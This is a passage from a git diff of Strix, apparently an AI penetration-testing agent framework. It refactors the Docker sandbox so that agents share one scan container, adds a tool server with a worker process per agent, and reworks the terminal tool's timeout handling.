f"scan-{agent_id.split('-')[0]}" - def _find_available_port(self) -> int: - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - s.bind(("", 0)) - return cast("int", s.getsockname()[1]) + def _verify_image_available(self, image_name: str, max_retries: int = 3) -> None: + def _validate_image(image: docker.models.images.Image) -> None: + if not image.id or not image.attrs: + raise ImageNotFound(f"Image {image_name} metadata incomplete") + + for attempt in range(max_retries): + try: + image = self.client.images.get(image_name) + _validate_image(image) + except ImageNotFound: + if attempt == max_retries - 1: + logger.exception(f"Image {image_name} not found after {max_retries} attempts") + raise + logger.warning(f"Image {image_name} not ready, attempt {attempt + 1}/{max_retries}") + time.sleep(2**attempt) + except DockerException: + if attempt == max_retries - 1: + logger.exception(f"Failed to verify image {image_name}") + raise + logger.warning(f"Docker error verifying image, attempt {attempt + 1}/{max_retries}") + time.sleep(2**attempt) + else: + logger.debug(f"Image {image_name} verified as available") + return - def _get_workspace_volume_name(self, scan_id: str) -> str: - return f"strix-workspace-{scan_id}" + def _create_container_with_retry(self, scan_id: str, max_retries: int = 3) -> Container: + last_exception = None - def _get_sandbox_by_agent_id(self, agent_id: str) -> Container | None: - try: - containers = self.client.containers.list( - filters={"label": f"{STRIX_AGENT_LABEL}={agent_id}"} - ) - if not containers: - return None - if len(containers) > 1: - logger.warning( - "Multiple sandboxes found for agent ID %s, using the first one.", agent_id + for attempt in range(max_retries): + try: + self._verify_image_available(STRIX_IMAGE) + + caido_port = self._find_available_port() + tool_server_port = self._find_available_port() + tool_server_token = self._generate_sandbox_token() + + self._tool_server_port = tool_server_port + self._tool_server_token = tool_server_token + + container = self.client.containers.run( + STRIX_IMAGE, + command="sleep infinity", + detach=True, + name=f"strix-scan-{scan_id}", + hostname=f"strix-scan-{scan_id}", + ports={ + f"{caido_port}/tcp": caido_port, + f"{tool_server_port}/tcp": tool_server_port, + }, + cap_add=["NET_ADMIN", "NET_RAW"], + labels={"strix-scan-id": scan_id}, + environment={ + "PYTHONUNBUFFERED": "1", + "CAIDO_PORT": str(caido_port), + "TOOL_SERVER_PORT": str(tool_server_port), + "TOOL_SERVER_TOKEN": tool_server_token, + }, + tty=True, ) - return cast("Container", containers[0]) - except DockerException as e: - logger.warning("Failed to get sandbox by agent ID %s: %s", agent_id, e) - return None - def _ensure_workspace_volume(self, volume_name: str) -> None: + self._scan_container = container + logger.info("Created container %s for scan %s", container.id, scan_id) + + self._initialize_container( + container, caido_port, tool_server_port, tool_server_token + ) + except DockerException as e: + last_exception = e + if attempt == max_retries - 1: + logger.exception(f"Failed to create container after {max_retries} attempts") + break + + logger.warning(f"Container creation attempt {attempt + 1}/{max_retries} failed") + + self._tool_server_port = None + self._tool_server_token = None + + sleep_time = (2**attempt) + (0.1 * attempt) + time.sleep(sleep_time) + else: + return container + + raise RuntimeError( + f"Failed to create Docker container after {max_retries} attempts: {last_exception}" + ) from last_exception + + def _get_or_create_scan_container(self, scan_id: str) -> Container: + if self._scan_container: + try: + self._scan_container.reload() + if self._scan_container.status == "running": + return self._scan_container + except NotFound: + self._scan_container = None + self._tool_server_port = None + self._tool_server_token = None + try: - self.client.volumes.get(volume_name) - logger.info(f"Using existing workspace volume: {volume_name}") - except NotFound: - self.client.volumes.create(name=volume_name, driver="local") - logger.info(f"Created new workspace volume: {volume_name}") + containers = self.client.containers.list(filters={"label": f"strix-scan-id={scan_id}"}) + if containers: + container = cast("Container", containers[0]) + if container.status != "running": + container.start() + time.sleep(2) + self._scan_container = container + + for env_var in container.attrs["Config"]["Env"]: + if env_var.startswith("TOOL_SERVER_PORT="): + self._tool_server_port = int(env_var.split("=")[1]) + elif env_var.startswith("TOOL_SERVER_TOKEN="): + self._tool_server_token = env_var.split("=")[1] + + return container + except DockerException as e: + logger.warning("Failed to find existing container for scan %s: %s", scan_id, e) + + logger.info("Creating new Docker container for scan %s", scan_id) + return self._create_container_with_retry(scan_id) + + def _initialize_container( + self, container: Container, caido_port: int, tool_server_port: int, tool_server_token: str + ) -> None: + logger.info("Initializing Caido proxy on port %s", caido_port) + result = container.exec_run( + f"bash -c 'export CAIDO_PORT={caido_port} && /usr/local/bin/docker-entrypoint.sh true'", + detach=False, + ) + + time.sleep(5) + + result = container.exec_run( + "bash -c 'source /etc/profile.d/proxy.sh && echo $CAIDO_API_TOKEN'", user="pentester" + ) + caido_token = result.output.decode().strip() if result.exit_code == 0 else "" + + container.exec_run( + f"bash -c 'source /etc/profile.d/proxy.sh && cd /app && " + f"STRIX_SANDBOX_MODE=true CAIDO_API_TOKEN={caido_token} CAIDO_PORT={caido_port} " + f"poetry run python strix/runtime/tool_server.py --token {tool_server_token} " + f"--host 0.0.0.0 --port {tool_server_port} &'", + detach=True, + user="pentester", + ) + + time.sleep(5) def _copy_local_directory_to_container(self, container: Container, local_path: str) -> None: import tarfile @@ -85,10 +204,10 @@ def _copy_local_directory_to_container(self, container: Container, local_path: s try: local_path_obj = Path(local_path).resolve() if not local_path_obj.exists() or not local_path_obj.is_dir(): - logger.warning(f"Local path does not exist or is not a directory: {local_path_obj}") + logger.warning(f"Local path does not exist or is not directory: {local_path_obj}") return - logger.info(f"Copying local directory {local_path_obj} to container {container.id}") + logger.info(f"Copying local directory {local_path_obj} to container") tar_buffer = BytesIO() with tarfile.open(fileobj=tar_buffer, mode="w") as tar: @@ -98,18 +217,14 @@ def _copy_local_directory_to_container(self, container: Container, local_path: s tar.add(item, arcname=arcname) tar_buffer.seek(0) - - container.put_archive("/shared_workspace", tar_buffer.getvalue()) + container.put_archive("/workspace", tar_buffer.getvalue()) container.exec_run( - "chown -R pentester:pentester /shared_workspace && chmod -R 755 /shared_workspace", + "chown -R pentester:pentester /workspace && chmod -R 755 /workspace", user="root", ) - logger.info( - f"Successfully copied {local_path_obj} to /shared_workspace in container " - f"{container.id}" - ) + logger.info("Successfully copied local directory to /workspace") except (OSError, DockerException): logger.exception("Failed to copy local directory to container") @@ -117,94 +232,56 @@ def _copy_local_directory_to_container(self, container: Container, local_path: s async def create_sandbox( self, agent_id: str, existing_token: str | None = None, local_source_path: str | None = None ) -> SandboxInfo: - sandbox = self._get_sandbox_by_agent_id(agent_id) - auth_token = existing_token or self._generate_sandbox_token() - scan_id = self._get_scan_id(agent_id) - volume_name = self._get_workspace_volume_name(scan_id) - - self._ensure_workspace_volume(volume_name) - - if not sandbox: - logger.info("Creating new Docker sandbox for agent %s", agent_id) - try: - tool_server_port = self._find_available_port() - caido_port = self._find_available_port() + container = self._get_or_create_scan_container(scan_id) - volumes_config = {volume_name: {"bind": "/shared_workspace", "mode": "rw"}} - container_name = f"strix-{agent_id}" - - sandbox = self.client.containers.run( - STRIX_IMAGE, - command="sleep infinity", - detach=True, - name=container_name, - hostname=container_name, - ports={ - f"{tool_server_port}/tcp": tool_server_port, - f"{caido_port}/tcp": caido_port, - }, - cap_add=["NET_ADMIN", "NET_RAW"], - labels={ - STRIX_AGENT_LABEL: agent_id, - STRIX_SCAN_LABEL: scan_id, - }, - environment={ - "PYTHONUNBUFFERED": "1", - "STRIX_AGENT_ID": agent_id, - "STRIX_SANDBOX_TOKEN": auth_token, - "STRIX_TOOL_SERVER_PORT": str(tool_server_port), - "CAIDO_PORT": str(caido_port), - }, - volumes=volumes_config, - tty=True, - ) - logger.info( - "Created new sandbox %s for agent %s with shared workspace %s", - sandbox.id, - agent_id, - volume_name, - ) - except DockerException as e: - raise RuntimeError(f"Failed to create Docker sandbox: {e}") from e + source_copied_key = f"_source_copied_{scan_id}" + if local_source_path and not hasattr(self, source_copied_key): + self._copy_local_directory_to_container(container, local_source_path) + setattr(self, source_copied_key, True) - assert sandbox is not None - if sandbox.status != "running": - sandbox.start() - time.sleep(15) + container_id = container.id + if container_id is None: + raise RuntimeError("Docker container ID is unexpectedly None") - if local_source_path and volume_name not in _initialized_volumes: - self._copy_local_directory_to_container(sandbox, local_source_path) - _initialized_volumes.add(volume_name) + token = existing_token if existing_token is not None else self._tool_server_token - sandbox_id = sandbox.id - if sandbox_id is None: - raise RuntimeError("Docker container ID is unexpectedly None") + if self._tool_server_port is None or token is None: + raise RuntimeError("Tool server not initialized or no token available") - tool_server_port_str = sandbox.attrs["Config"]["Env"][ - next( - ( - i - for i, s in enumerate(sandbox.attrs["Config"]["Env"]) - if s.startswith("STRIX_TOOL_SERVER_PORT=") - ), - -1, - ) - ].split("=")[1] - tool_server_port = int(tool_server_port_str) + api_url = await self.get_sandbox_url(container_id, self._tool_server_port) - api_url = await self.get_sandbox_url(sandbox_id, tool_server_port) + await self._register_agent_with_tool_server(api_url, agent_id, token) return { - "workspace_id": sandbox_id, + "workspace_id": container_id, "api_url": api_url, - "auth_token": auth_token, - "tool_server_port": tool_server_port, + "auth_token": token, + "tool_server_port": self._tool_server_port, + "agent_id": agent_id, } - async def get_sandbox_url(self, sandbox_id: str, port: int) -> str: + async def _register_agent_with_tool_server( + self, api_url: str, agent_id: str, token: str + ) -> None: + import httpx + + try: + async with httpx.AsyncClient() as client: + response = await client.post( + f"{api_url}/register_agent", + params={"agent_id": agent_id}, + headers={"Authorization": f"Bearer {token}"}, + timeout=30, + ) + response.raise_for_status() + logger.info(f"Registered agent {agent_id} with tool server") + except (httpx.RequestError, httpx.HTTPStatusError) as e: + logger.warning(f"Failed to register agent {agent_id}: {e}") + + async def get_sandbox_url(self, container_id: str, port: int) -> str: try: - container = self.client.containers.get(sandbox_id) + container = self.client.containers.get(container_id) container.reload() host = "localhost" @@ -214,58 +291,25 @@ async def get_sandbox_url(self, sandbox_id: str, port: int) -> str: host = docker_host.split("://")[1].split(":")[0] except NotFound: - raise ValueError(f"Sandbox {sandbox_id} not found.") from None + raise ValueError(f"Container {container_id} not found.") from None except DockerException as e: - raise RuntimeError(f"Failed to get sandbox URL for {sandbox_id}: {e}") from e + raise RuntimeError(f"Failed to get container URL for {container_id}: {e}") from e else: return f"http://{host}:{port}" - async def destroy_sandbox(self, sandbox_id: str) -> None: - logger.info("Destroying Docker sandbox %s", sandbox_id) + async def destroy_sandbox(self, container_id: str) -> None: + logger.info("Destroying scan container %s", container_id) try: - container = self.client.containers.get(sandbox_id) - - scan_id = None - if container.labels and STRIX_SCAN_LABEL in container.labels: - scan_id = container.labels[STRIX_SCAN_LABEL] - + container = self.client.containers.get(container_id) container.stop() container.remove() - logger.info("Successfully destroyed sandbox %s", sandbox_id) + logger.info("Successfully destroyed container %s", container_id) - if scan_id: - await self._cleanup_workspace_if_empty(scan_id) + self._scan_container = None + self._tool_server_port = None + self._tool_server_token = None except NotFound: - logger.warning("Sandbox %s not found for destruction.", sandbox_id) + logger.warning("Container %s not found for destruction.", container_id) except DockerException as e: - logger.warning("Failed to destroy sandbox %s: %s", sandbox_id, e) - - async def _cleanup_workspace_if_empty(self, scan_id: str) -> None: - try: - volume_name = self._get_workspace_volume_name(scan_id) - - containers = self.client.containers.list( - all=True, filters={"label": f"{STRIX_SCAN_LABEL}={scan_id}"} - ) - - if not containers: - try: - volume = self.client.volumes.get(volume_name) - volume.remove() - logger.info( - f"Cleaned up workspace volume {volume_name} for completed scan {scan_id}" - ) - - _initialized_volumes.discard(volume_name) - - except NotFound: - logger.debug(f"Volume {volume_name} already removed") - except DockerException as e: - logger.warning(f"Failed to remove volume {volume_name}: {e}") - - except DockerException as e: - logger.warning("Error during workspace cleanup for scan %s: %s", scan_id, e) - - async def cleanup_scan_workspace(self, scan_id: str) -> None: - await self._cleanup_workspace_if_empty(scan_id) + logger.warning("Failed to destroy container %s: %s", container_id, e) diff --git a/strix/runtime/runtime.py b/strix/runtime/runtime.py index 493e9e564..328a7574a 100644 --- a/strix/runtime/runtime.py +++ b/strix/runtime/runtime.py @@ -7,6 +7,7 @@ class SandboxInfo(TypedDict): api_url: str auth_token: str | None tool_server_port: int + agent_id: str class AbstractRuntime(ABC): @@ -17,9 +18,9 @@ async def create_sandbox( raise NotImplementedError @abstractmethod - async def get_sandbox_url(self, sandbox_id: str, port: int) -> str: + async def get_sandbox_url(self, container_id: str, port: int) -> str: raise NotImplementedError @abstractmethod - async def destroy_sandbox(self, sandbox_id: str) -> None: + async def destroy_sandbox(self, container_id: str) -> None: raise NotImplementedError diff --git a/strix/runtime/tool_server.py b/strix/runtime/tool_server.py index b826f7964..6461f8c79 100644 --- a/strix/runtime/tool_server.py +++ b/strix/runtime/tool_server.py @@ -1,7 +1,15 @@ +from __future__ import annotations + +import argparse +import asyncio import logging import os +import signal +import sys +from multiprocessing import Process, Queue from typing import Any +import uvicorn from fastapi import Depends, FastAPI, HTTPException, status from fastapi.security import HTTPAuthorizationCredentials, HTTPBearer from pydantic import BaseModel, ValidationError @@ -11,20 +19,25 @@ if not SANDBOX_MODE: raise RuntimeError("Tool server should only run in sandbox mode (STRIX_SANDBOX_MODE=true)") -EXPECTED_TOKEN = os.getenv("STRIX_SANDBOX_TOKEN") -if not EXPECTED_TOKEN: - raise RuntimeError("STRIX_SANDBOX_TOKEN environment variable is required in sandbox mode") +parser = argparse.ArgumentParser(description="Start Strix tool server") +parser.add_argument("--token", required=True, help="Authentication token") +parser.add_argument("--host", default="0.0.0.0", help="Host to bind to") # nosec +parser.add_argument("--port", type=int, required=True, help="Port to bind to") + +args = parser.parse_args() +EXPECTED_TOKEN = args.token app = FastAPI() -logger = logging.getLogger(__name__) security = HTTPBearer() security_dependency = Depends(security) +agent_processes: dict[str, dict[str, Any]] = {} +agent_queues: dict[str, dict[str, Queue[Any]]] = {} + def verify_token(credentials: HTTPAuthorizationCredentials) -> str: if not credentials or credentials.scheme != "Bearer": - logger.warning("Authentication failed: Invalid or missing Bearer token scheme") raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail="Invalid authentication scheme. Bearer token required.", @@ -32,18 +45,17 @@ def verify_token(credentials: HTTPAuthorizationCredentials) -> str: ) if credentials.credentials != EXPECTED_TOKEN: - logger.warning("Authentication failed: Invalid token provided from remote host") raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail="Invalid authentication token", headers={"WWW-Authenticate": "Bearer"}, ) - logger.debug("Authentication successful for tool execution request") return credentials.credentials class ToolExecutionRequest(BaseModel): + agent_id: str tool_name: str kwargs: dict[str, Any] @@ -53,45 +65,141 @@ class ToolExecutionResponse(BaseModel): error: str | None = None +def agent_worker(_agent_id: str, request_queue: Queue[Any], response_queue: Queue[Any]) -> None: + null_handler = logging.NullHandler() + + root_logger = logging.getLogger() + root_logger.handlers = [null_handler] + root_logger.setLevel(logging.CRITICAL) + + from strix.tools.argument_parser import ArgumentConversionError, convert_arguments + from strix.tools.registry import get_tool_by_name + + while True: + try: + request = request_queue.get() + + if request is None: + break + + tool_name = request["tool_name"] + kwargs = request["kwargs"] + + try: + tool_func = get_tool_by_name(tool_name) + if not tool_func: + response_queue.put({"error": f"Tool '{tool_name}' not found"}) + continue + + converted_kwargs = convert_arguments(tool_func, kwargs) + result = tool_func(**converted_kwargs) + + response_queue.put({"result": result}) + + except (ArgumentConversionError, ValidationError) as e: + response_queue.put({"error": f"Invalid arguments: {e}"}) + except (RuntimeError, ValueError, ImportError) as e: + response_queue.put({"error": f"Tool execution error: {e}"}) + + except (RuntimeError, ValueError, ImportError) as e: + response_queue.put({"error": f"Worker error: {e}"}) + + +def ensure_agent_process(agent_id: str) -> tuple[Queue[Any], Queue[Any]]: + if agent_id not in agent_processes: + request_queue: Queue[Any] = Queue() + response_queue: Queue[Any] = Queue() + + process = Process( + target=agent_worker, args=(agent_id, request_queue, response_queue), daemon=True + ) + process.start() + + agent_processes[agent_id] = {"process": process, "pid": process.pid} + agent_queues[agent_id] = {"request": request_queue, "response": response_queue} + + return agent_queues[agent_id]["request"], agent_queues[agent_id]["response"] + + @app.post("/execute", response_model=ToolExecutionResponse) async def execute_tool( request: ToolExecutionRequest, credentials: HTTPAuthorizationCredentials = security_dependency ) -> ToolExecutionResponse: verify_token(credentials) - from strix.tools.argument_parser import ArgumentConversionError, convert_arguments - from strix.tools.registry import get_tool_by_name + request_queue, response_queue = ensure_agent_process(request.agent_id) + + request_queue.put({"tool_name": request.tool_name, "kwargs": request.kwargs}) try: - tool_func = get_tool_by_name(request.tool_name) - if not tool_func: - return ToolExecutionResponse(error=f"Tool '{request.tool_name}' not found") + loop = asyncio.get_event_loop() + response = await loop.run_in_executor(None, response_queue.get) - converted_kwargs = convert_arguments(tool_func, request.kwargs) + if "error" in response: + return ToolExecutionResponse(error=response["error"]) + return ToolExecutionResponse(result=response.get("result")) - result = tool_func(**converted_kwargs) + except (RuntimeError, ValueError, OSError) as e: + return ToolExecutionResponse(error=f"Worker error: {e}") - return ToolExecutionResponse(result=result) - except (ArgumentConversionError, ValidationError) as e: - logger.warning("Invalid tool arguments: %s", e) - return ToolExecutionResponse(error=f"Invalid arguments: {e}") - except TypeError as e: - logger.warning("Tool execution type error: %s", e) - return ToolExecutionResponse(error=f"Tool execution error: {e}") - except ValueError as e: - logger.warning("Tool execution value error: %s", e) - return ToolExecutionResponse(error=f"Tool execution error: {e}") - except Exception: - logger.exception("Unexpected error during tool execution") - return ToolExecutionResponse(error="Internal server error") +@app.post("/register_agent") +async def register_agent( + agent_id: str, credentials: HTTPAuthorizationCredentials = security_dependency +) -> dict[str, str]: + verify_token(credentials) + + ensure_agent_process(agent_id) + return {"status": "registered", "agent_id": agent_id} @app.get("/health") -async def health_check() -> dict[str, str]: +async def health_check() -> dict[str, Any]: return { "status": "healthy", "sandbox_mode": str(SANDBOX_MODE), "environment": "sandbox" if SANDBOX_MODE else "main", "auth_configured": "true" if EXPECTED_TOKEN else "false", + "active_agents": len(agent_processes), + "agents": list(agent_processes.keys()), } + + +def cleanup_all_agents() -> None: + for agent_id in list(agent_processes.keys()): + try: + agent_queues[agent_id]["request"].put(None) + process = agent_processes[agent_id]["process"] + + process.join(timeout=1) + + if process.is_alive(): + process.terminate() + process.join(timeout=1) + + if process.is_alive(): + process.kill() + + except (BrokenPipeError, EOFError, OSError): + pass + except (RuntimeError, ValueError) as e: + logging.getLogger(__name__).debug(f"Error during agent cleanup: {e}") + + +def signal_handler(_signum: int, _frame: Any) -> None: + signal.signal(signal.SIGPIPE, signal.SIG_IGN) if hasattr(signal, "SIGPIPE") else None + cleanup_all_agents() + sys.exit(0) + + +if hasattr(signal, "SIGPIPE"): + signal.signal(signal.SIGPIPE, signal.SIG_IGN) + +signal.signal(signal.SIGTERM, signal_handler) +signal.signal(signal.SIGINT, signal_handler) + +if __name__ == "__main__": + try: + uvicorn.run(app, host=args.host, port=args.port, log_level="info") + finally: + cleanup_all_agents() diff --git a/strix/tools/agents_graph/agents_graph_actions.py b/strix/tools/agents_graph/agents_graph_actions.py index f6b2255e6..15dd7d379 100644 --- a/strix/tools/agents_graph/agents_graph_actions.py +++ b/strix/tools/agents_graph/agents_graph_actions.py @@ -57,10 +57,10 @@ def _run_agent_in_thread( - Work independently with your own approach - Use agent_finish when complete to report back to parent - You are a SPECIALIST for this specific task - - The previous browser, sessions, proxy history, and files in /workspace were for your - parent agent. Do not depend on them. - - You are starting with a fresh context. Fresh proxy, browser, and files. - Only stuff in /shared_workspace is passed to you from context. + - You share the same container as other agents but have your own tool server instance + - All agents share /workspace directory and proxy history for better collaboration + - You can see files created by other agents and proxy traffic from previous work + - Build upon previous work but focus on your specific delegated task """ diff --git a/strix/tools/executor.py b/strix/tools/executor.py index 3f78da402..1ea15dbd1 100644 --- a/strix/tools/executor.py +++ b/strix/tools/executor.py @@ -49,7 +49,10 @@ async def _execute_tool_in_sandbox(tool_name: str, agent_state: Any, **kwargs: A server_url = await runtime.get_sandbox_url(agent_state.sandbox_id, tool_server_port) request_url = f"{server_url}/execute" + agent_id = getattr(agent_state, "agent_id", "unknown") + request_data = { + "agent_id": agent_id, "tool_name": tool_name, "kwargs": kwargs, } diff --git a/strix/tools/terminal/terminal_actions_schema.xml b/strix/tools/terminal/terminal_actions_schema.xml index eda6edc72..d4e2fec4c 100644 --- a/strix/tools/terminal/terminal_actions_schema.xml +++ b/strix/tools/terminal/terminal_actions_schema.xml @@ -3,7 +3,7 @@ Execute a bash command in a persistent terminal session. The terminal maintains state (environment variables, current directory, running processes) between commands. - The bash command to execute. Cannot be empty - must provide a valid command or special key sequence. + The bash command to execute. Can be empty to check output of running commands (will wait for timeout period to collect output). Supported special keys and sequences (based on official tmux key names): - Control sequences: C-c, C-d, C-z, C-a, C-e, C-k, C-l, C-u, C-w, etc. (also ^c, ^d, etc.) @@ -16,13 +16,16 @@ - Shift sequences: S-key (e.g., S-F6, S-Tab, S-Left) - Combined modifiers: C-S-key, C-M-key, S-M-key, etc. + Special keys work automatically - no need to set is_input=true for keys like C-c, C-d, etc. These are useful for interacting with vim, emacs, REPLs, and other interactive applications. - If true, the command is sent as input to a currently running process. If false (default), the command is executed as a new bash command. Use this to interact with running processes. + If true, the command is sent as input to a currently running process. If false (default), the command is executed as a new bash command. + Note: Special keys (C-c, C-d, etc.) automatically work when a process is running - you don't need to set is_input=true for them. + Use is_input=true for regular text input to running processes. - Optional timeout in seconds for command execution. If not provided, uses default timeout behavior. Set to higher values for long-running commands like installations or tests. + Optional timeout in seconds for command execution. If not provided, uses default timeout behavior. Set to higher values for long-running commands like installations or tests. Default is 10 seconds. Identifier for the terminal session. Defaults to "default". Use different IDs to manage multiple concurrent terminal sessions. @@ -44,7 +47,7 @@ - exit_code: Exit code of the command (only for completed commands) - command: The executed command - terminal_id: The terminal session ID - - status: Command status ('completed', 'timeout', 'running') + - status: Command status ('completed' or 'running') - working_dir: Current working directory after command execution @@ -56,22 +59,25 @@ && or ; operators, or make separate tool calls. 3. LONG-RUNNING COMMANDS: - - For commands that run indefinitely, run them in background: 'python app.py > server.log 2>&1 &' - - For commands that take time, set appropriate timeout parameter - - Use is_input=true to interact with running processes + - Commands never get killed automatically - they keep running in background + - Set timeout to control how long to wait for output before returning + - Use empty command "" to check progress (waits for timeout period to collect output) + - Use C-c, C-d, C-z to interrupt processes (works automatically, no is_input needed) 4. TIMEOUT HANDLING: - - Commands have a default soft timeout (30 seconds of no output changes) - - Set custom timeout for longer operations - - When timeout occurs, you can send empty command to get more output - - Use control sequences (C-c, C-d, C-z) to interrupt processes + - Timeout controls how long to wait before returning current output + - Commands are NEVER killed on timeout - they keep running + - After timeout, you can run new commands or check progress with empty command + - All commands return status "completed" - you have full control 5. MULTIPLE TERMINALS: Use different terminal_id values to run multiple concurrent sessions. - 6. INTERACTIVE PROCESSES: Use is_input=true to send input to running processes like: - - Interactive shells, REPLs, or prompts - - Long-running applications waiting for input - - Background processes that need interaction + 6. INTERACTIVE PROCESSES: + - Special keys (C-c, C-d, etc.) work automatically when a process is running + - Use is_input=true for regular text input to running processes like: + * Interactive shells, REPLs, or prompts + * Long-running applications waiting for input + * Background processes that need interaction - Use no_enter=true for stuff like Vim navigation, password typing, or multi-step commands 7. WORKING DIRECTORY: The terminal tracks and returns the current working directory. @@ -92,6 +98,12 @@ 120 + # Check progress of running command (waits for timeout to collect output) + + + 5 + + # Start a background service python app.py > server.log 2>&1 & @@ -103,7 +115,7 @@ true - # Interrupt a running process + # Interrupt a running process (special keys work automatically) C-c diff --git a/strix/tools/terminal/terminal_session.py b/strix/tools/terminal/terminal_session.py index 711d34077..2ed9b7418 100644 --- a/strix/tools/terminal/terminal_session.py +++ b/strix/tools/terminal/terminal_session.py @@ -33,7 +33,6 @@ def __init__(self, session_id: str, work_dir: str = "/workspace") -> None: self.work_dir = str(Path(work_dir).resolve()) self._closed = False self._cwd = self.work_dir - self.NO_CHANGE_TIMEOUT_SECONDS = 30 self.server: libtmux.Server | None = None self.session: libtmux.Session | None = None @@ -200,55 +199,126 @@ def _extract_exit_code_from_matches(self, ps1_matches: list[re.Match[str]]) -> i except (ValueError, IndexError): return None - def execute( - self, command: str, is_input: bool = False, timeout: float = 30.0, no_enter: bool = False + def _handle_empty_command( + self, + cur_pane_output: str, + ps1_matches: list[re.Match[str]], + is_command_running: bool, + timeout: float, ) -> dict[str, Any]: - if not self._initialized: - raise RuntimeError("Bash session is not initialized") + if not is_command_running: + raw_command_output = self._combine_outputs_between_matches(cur_pane_output, ps1_matches) + command_output = self._get_command_output("", raw_command_output) + return { + "content": command_output, + "status": "completed", + "exit_code": 0, + "working_dir": self._cwd, + } + + start_time = time.time() + last_pane_output = cur_pane_output + + while True: + cur_pane_output = self._get_pane_content() + ps1_matches = self._matches_ps1_metadata(cur_pane_output) - if command == "" or command.strip() == "": + if cur_pane_output.rstrip().endswith(self.PS1_END.rstrip()) or len(ps1_matches) > 0: + exit_code = self._extract_exit_code_from_matches(ps1_matches) + raw_command_output = self._combine_outputs_between_matches( + cur_pane_output, ps1_matches + ) + command_output = self._get_command_output("", raw_command_output) + self.prev_status = BashCommandStatus.COMPLETED + self.prev_output = "" + self._ready_for_next_command() + return { + "content": command_output, + "status": "completed", + "exit_code": exit_code or 0, + "working_dir": self._cwd, + } + + elapsed_time = time.time() - start_time + if elapsed_time >= timeout: + raw_command_output = self._combine_outputs_between_matches( + cur_pane_output, ps1_matches + ) + command_output = self._get_command_output("", raw_command_output) + return { + "content": command_output + + f"\n[Command still running after {timeout}s - showing output so far]", + "status": "running", + "exit_code": None, + "working_dir": self._cwd, + } + + if cur_pane_output != last_pane_output: + last_pane_output = cur_pane_output + + time.sleep(self.POLL_INTERVAL) + + def _handle_input_command( + self, command: str, no_enter: bool, is_command_running: bool + ) -> dict[str, Any]: + if not is_command_running: return { - "content": ( - "Command cannot be empty - must provide a valid command or control sequence" - ), + "content": "No command is currently running. Cannot send input.", "status": "error", "exit_code": None, "working_dir": self._cwd, } - if ( - self.prev_status - in { - BashCommandStatus.HARD_TIMEOUT, - BashCommandStatus.NO_CHANGE_TIMEOUT, - } - and not is_input - and command != "" - ): + if not self.pane: + raise RuntimeError("Terminal session not properly initialized") + + is_special_key = self._is_special_key(command) + should_add_enter = not is_special_key and not no_enter + self.pane.send_keys(command, enter=should_add_enter) + + time.sleep(2) + cur_pane_output = self._get_pane_content() + ps1_matches = self._matches_ps1_metadata(cur_pane_output) + raw_command_output = self._combine_outputs_between_matches(cur_pane_output, ps1_matches) + command_output = self._get_command_output(command, raw_command_output) + + is_still_running = not ( + cur_pane_output.rstrip().endswith(self.PS1_END.rstrip()) or len(ps1_matches) > 0 + ) + + if is_still_running: return { - "content": ( - f'Previous command still running. Cannot execute "{command}". ' - "Use is_input=True to interact with running process." - ), - "status": "error", + "content": command_output, + "status": "running", "exit_code": None, "working_dir": self._cwd, } + exit_code = self._extract_exit_code_from_matches(ps1_matches) + self.prev_status = BashCommandStatus.COMPLETED + self.prev_output = "" + self._ready_for_next_command() + return { + "content": command_output, + "status": "completed", + "exit_code": exit_code or 0, + "working_dir": self._cwd, + } + + def _execute_new_command(self, command: str, no_enter: bool, timeout: float) -> dict[str, Any]: + if not self.pane: + raise RuntimeError("Terminal session not properly initialized") + initial_pane_output = self._get_pane_content() initial_ps1_matches = self._matches_ps1_metadata(initial_pane_output) initial_ps1_count = len(initial_ps1_matches) start_time = time.time() - last_change_time = start_time last_pane_output = initial_pane_output - if command != "": - if not self.pane: - raise RuntimeError("Terminal session not properly initialized") - is_special_key = self._is_special_key(command) - should_add_enter = not is_special_key and not no_enter - self.pane.send_keys(command, enter=should_add_enter) + is_special_key = self._is_special_key(command) + should_add_enter = not is_special_key and not no_enter + self.pane.send_keys(command, enter=should_add_enter) while True: cur_pane_output = self._get_pane_content() @@ -257,7 +327,6 @@ def execute( if cur_pane_output != last_pane_output: last_pane_output = cur_pane_output - last_change_time = time.time() if current_ps1_count > initial_ps1_count or cur_pane_output.rstrip().endswith( self.PS1_END.rstrip() @@ -283,26 +352,6 @@ def execute( "working_dir": self._cwd, } - time_since_last_change = time.time() - last_change_time - if time_since_last_change >= self.NO_CHANGE_TIMEOUT_SECONDS: - raw_command_output = self._combine_outputs_between_matches( - cur_pane_output, ps1_matches - ) - command_output = self._get_command_output( - command, - raw_command_output, - continue_prefix="[Below is the output of the previous command.]\n", - ) - self.prev_status = BashCommandStatus.NO_CHANGE_TIMEOUT - - return { - "content": command_output + f"\n[Command timed out - no output change for " - f"{self.NO_CHANGE_TIMEOUT_SECONDS} seconds]", - "status": "timeout", - "exit_code": -1, - "working_dir": self._cwd, - } - elapsed_time = time.time() - start_time if elapsed_time >= timeout: raw_command_output = self._combine_outputs_between_matches( @@ -313,17 +362,59 @@ def execute( raw_command_output, continue_prefix="[Below is the output of the previous command.]\n", ) - self.prev_status = BashCommandStatus.HARD_TIMEOUT + self.prev_status = BashCommandStatus.CONTINUE + timeout_msg = ( + f"\n[Command still running after {timeout}s - showing output so far. " + "Use C-c to interrupt if needed.]" + ) return { - "content": command_output + f"\n[Command timed out after {timeout} seconds]", - "status": "timeout", - "exit_code": -1, + "content": command_output + timeout_msg, + "status": "running", + "exit_code": None, "working_dir": self._cwd, } time.sleep(self.POLL_INTERVAL) + def execute( + self, command: str, is_input: bool = False, timeout: float = 10.0, no_enter: bool = False + ) -> dict[str, Any]: + if not self._initialized: + raise RuntimeError("Bash session is not initialized") + + cur_pane_output = self._get_pane_content() + ps1_matches = self._matches_ps1_metadata(cur_pane_output) + is_command_running = not ( + cur_pane_output.rstrip().endswith(self.PS1_END.rstrip()) or len(ps1_matches) > 0 + ) + + if command.strip() == "": + return self._handle_empty_command( + cur_pane_output, ps1_matches, is_command_running, timeout + ) + + is_special_key = self._is_special_key(command) + + if is_input: + return self._handle_input_command(command, no_enter, is_command_running) + + if is_special_key and is_command_running: + return self._handle_input_command(command, no_enter, is_command_running) + + if is_command_running: + return { + "content": ( + "A command is already running. Use is_input=true to send input to it, " + "or interrupt it first (e.g., with C-c)." + ), + "status": "error", + "exit_code": None, + "working_dir": self._cwd, + } + + return self._execute_new_command(command, 